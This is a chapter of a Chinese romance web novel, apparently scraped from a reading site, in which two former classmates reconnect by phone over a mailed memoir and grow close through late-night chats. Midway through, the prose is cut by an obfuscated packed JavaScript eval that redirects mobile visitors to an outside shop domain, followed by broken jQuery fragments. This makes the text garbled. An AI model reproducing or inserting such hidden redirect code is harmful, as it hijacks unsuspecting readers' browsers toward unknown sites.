良久,钟廿才找回属于自己的触感。

    环顾四周,是刚刚搬过来勉强安顿的宿舍。陌生环境给不了她安全感,一时间突然恍惚起来。

    手中的回忆录已经不知什么时候被泪沾湿,她慌忙去擦,又怕糊了字迹。

    一个又一个小小的圆点打在面前,将纸都洇得微微皱巴,不知过了多少年的墨迹再次因为这点水痕而浮起来。

    酸涩拧巴的一颗心再次找回跳动的感觉,可钟廿没有办法不去思考,就算知道了又能怎么办呢。

    就算知道了又能怎么办呢……

    直到这个时候,钟廿才发现对他一点都不了解。

    先不说如今突然联系会不会显得奇怪,就算跟他表明心意,这么多年过去了,于穆毅近况如何?

    他会怎么办?

    应该去追求他吗?

    更何况……他还会接受自己吗?

    可是……

    可是……

    可是,写本回忆录能够出现在自己手上,是不是也说明……

    钟廿按捺住胡乱躁动的心,点开Q.Q,找到了于穆毅。

    她心里慌得比查成绩更紧张,盯着他的头像没了下一步动作。

    于穆毅……

    可她终究没有勇气……

    钟廿好像从没做过什么冒险的事。

    从小到大她追求的都是游刃有余、胸有成竹的事情。

    当有外力闯入她就会变得紧张、慌乱。

    然后变得小心翼翼,藏匿退缩。

    于穆毅试过紧追不舍,可很快就发现并不能解决问题。

    所以他决定将选择权递还你手中。

    “诶诶诶!于穆毅!”

    于穆毅侧过头看向旁边握着手机捏着情书的室友:“怎么?”

    “你怎么打游戏都心不在焉的。”

    “今晚有个晚会去不去,好多学姐学妹们,你个孤寡老人也该出去见见世面了。”

    “滚蛋。”

    3月21了。

    周一,除了困和累之外其实下了课之后并没有什么安排,于穆毅却在教学楼坐到很晚。

    昨晚钟廿打来的电话响了十几秒,可他却突然不太敢接。

    物流显示收到了,那有没有猜出来?

    哪怕如今还托朋友了解着钟廿的一切,可于穆毅也不确定,自己这样的纠缠有没有意义。

    阔别近三年,足以改变太多人和事了。

    可是管他呢。

    结果好坏不都是自己在等的结果吗!

    只要没换号,他就接!

    可偏偏钟廿将电话挂断了。

    于穆毅翻阅记录,才发现钟廿浏览过自己的动态。

    一时间境地又陷入了两难僵局。

    “走啊,你想什么呢?”

    “你不去的话晚上回宿舍打游戏?”

    于穆毅用手将凑到身边的室友隔开:“不打,戒了。”

    “戒了??”

    “不打得好好的,你说戒就戒了?诶诶你那号已经四五千了,你要不——”

    于穆毅停住脚步:“啧。”

    他本就生得清秀,先前被体脂封印了大部分颜值,这会儿身高优势下就这么冷脸瞪着,竟生出几分凶意来。

    “……行行行,”室友讪讪地跟上,“你是大爷。”

    这些年里于穆毅基本沉浸在学业里,选了最难的学科,做了最难的课题。

    以前那个阳光开朗的胖墩早已在不知不觉中蜕变成了精瘦干练的小伙子。

    被劝着加入各种各样的社团当招牌,学生会、干事团,于穆毅随着好恶推了几个,其余照单全收,每天将时间占得满满的。

    生活的忙碌在一定程度上是充实。

    能让人忘掉很多无端的烦恼。

    那天无意再翻出来那本回忆录,却发现所有努力在此刻并没有那么有用。

    人在感情面前,简直是玩物。

    可也不全是。

    毕竟生活处处是转机。

    就像于穆毅意料不到的那一通电话。

    “喂?”

    “嗯。”

    这个回答很奇怪。

    如果是陌生人,不太会用“嗯”作开头。

    钟廿一下子琢磨不准于穆毅的态度,却还是问了:“你是于穆毅吗?”

    “回忆录……”

    “回忆录是不是你寄过来的啊。”

    依然显示在通话中,可是电话两端的人却没有了更多的言语。

    钟廿在手机上查了物流,显示是从L省发过来,更多的也没办法弄清楚,她当即就给高中的室友去过电话,她知道的那个朋友刚好在L省上大学,可不知是不是换号了,她没有打通。

    过去几年没有办法等来的答案,或许如今依然也没有答案。

    可是这一刻于穆毅突然觉得,自己赌对了。

    如果放不下,不如就放手一搏。

    至少不留遗憾。

    “是。”

    “那你……”钟廿的声音突然就开始不受控地发颤,“是打算物归原主一刀两断,还是……”

    “不是。”

    于穆毅打断她的话,忍不住想原来人之间的感情真的绵长又脆弱,如果钟廿没有打电话给他,那两个人之间的结局是不是就会天差地别。

    但是不会的,就算是钟廿不打电话,他也会最后要一个说法。

    不然为什么会将回忆录寄过来?

    自己留着不是更好吗?

    那日于穆毅和谭劲涛喝酒,谭劲涛问他:“如果没有回应,你怎么办?”

    于穆毅盯着自己捏住杯子的手指:“反正东西留在自己身边,也只能是睹物思人平添烦恼。”

    “那不更加证明你放不下吗?”

    是啊。

    要是能放下,又哪里还会有这么多纠结。

    “毕竟是关于你的,总得让你知道。”

    “于穆毅……”钟廿蹲下.身,她哭得有点缺氧又忍得辛苦,“对不起……”

    于穆毅似乎是轻笑了声,语气里颇感无奈:“一天半,你的答案就这三个字么。”

    “你问我是物归原主一刀两断,还是千里陈情难以割舍,”

    “那你怎么不直接问问我,”

    “到底是什么想法?”

    “你对不起是什么意思?”

    “有男朋友了?”

    近乎于咄咄逼人的于穆毅是钟廿此前从来没有见过的,她愣了一愣:“没有。”

    “那就是还是不喜欢,觉得亏欠我了。”

    “不是!”

    于穆毅不做声了。

    排除法都好做,可当答案摆在眼前的时候,又谁不敢往前了。

    他早听出钟廿在哭,按耐心底想安慰的话,安安静静地等着。

    算了。

    “钟廿。”

    钟廿哭得热烘烘的,擦鼻涕的纸已经用完了,被握在掌心捏成小团。

    “钟廿,别哭了。”

    到底做不到。

    于穆毅叹了口气:“我的态度想法跟你会是一样的。”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17610820|205931||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    “你慢慢考虑,下次给我答复吧。”

    “等一下——”

    钟廿将电话拿开看了眼还未挂断,“我还可以给你打电话吗?”

    “……”于穆毅反问,“为什么不可以?”

    “谢谢……”

    原来轮到谁头上都一样,说得最多的真的是“对不起”跟“谢谢”。

    回忆录就这么放在了钟廿手里。

    只是孤身一人下江南的钟廿又找回了一个久别重逢的老朋友。

    后来从谭劲涛、余骏呈他们嘴里了解到于穆毅的变化,都说于穆毅性格变化大,于是钟廿开始慢慢调整相处模式,却发现于穆毅还是那个于穆毅。

    钟廿将自己新学的整蛊方式在于穆毅身上试验了一番。

    很简单的玩法,将空白的表情包发过去,然后就是影帝影后的表演时刻。

    这个时候一定要是不在意的,非常自然的,抛出一个无关的话题。

    但是这种玩法属于是高消耗性次抛,尤其还传得很快,钟廿之前就被于穆毅骗过好几次。

    【你还真别不相信,你这边发过来的表情包是白色的,但是我的背景不是白色】

    【下次记得找个透明的底】

    【图片】

    钟廿一下子就注意到,于穆毅发过来的截图里,背景是一张显眼的无偿献血证。

    红色的背景,毫无考究的随手一拍,看样子不是网图。

    “你去献过血了吗?”

    “学校经常组织这样的活动,去过几次。”

    “哦哦。”钟廿想起来于穆毅一直是这样一个性格,你点点头。

    不知道是不是于穆毅的直男审美,总是让钟廿觉得这张图片不像是随手设置的。

    “你的聊天背景都是统一设置的吗?”

    钟廿还是忍不住问出口,果不其然得到于穆毅的否定答案:“不是。”

    “只有你的是这张。”

    文科不好的于穆毅,学不会弯弯绕绕,直球打得反而让人生疑。

    后来也打过几次电话,可是两个人都默契地没有再提到那个答案。

    钟廿不打游戏,除了那几个养老的贪吃蛇消消乐,大晚上找于穆毅只可能是受了气或者要陪写作业。

    胆子确实小。

    11点过后宿舍熄了灯,室友没睡也已上了床玩手机,却是钟廿这个间歇性急性子奋发图强的黄金时间。

    无奈人菜瘾大,看过的恐怖片也专挑这个时间跳出来吓人,钟廿只能发消息问于穆毅还醒着没。

    有个人发发消息,大概能起到心里安慰的作用。

    于穆毅驾轻就熟,挑好钟廿喜欢的歌,在Q.Q一起听。

    大概风格真的迥异,钟廿直觉他应该不会听这些二次元的歌,但于穆毅回复【还行】【好听】。

    中规中矩。

    估计已经是很高的评价了。

    偶尔发一两条消息看看人睡着没,除此之外就安安静静听歌刷视频。

    或许也抽空睡了,只是钟廿不忍心太过分,不问就当自己不知道。

    反正消息在回复就行。

    跟他发消息从来不用担心他会漏看,有时候甚至觉得,他反射弧好长,都已经说了半天了他才一条条引用,然后回复。

    但看着自己长篇大论之后都有一条条透明的引用回复,钟廿又觉得心头一暖。

    那天一直到三点多。

    钟廿睡了于穆毅才重新打开免打扰。

    抓紧时间补了3个小时睡眠,上午还有个实验。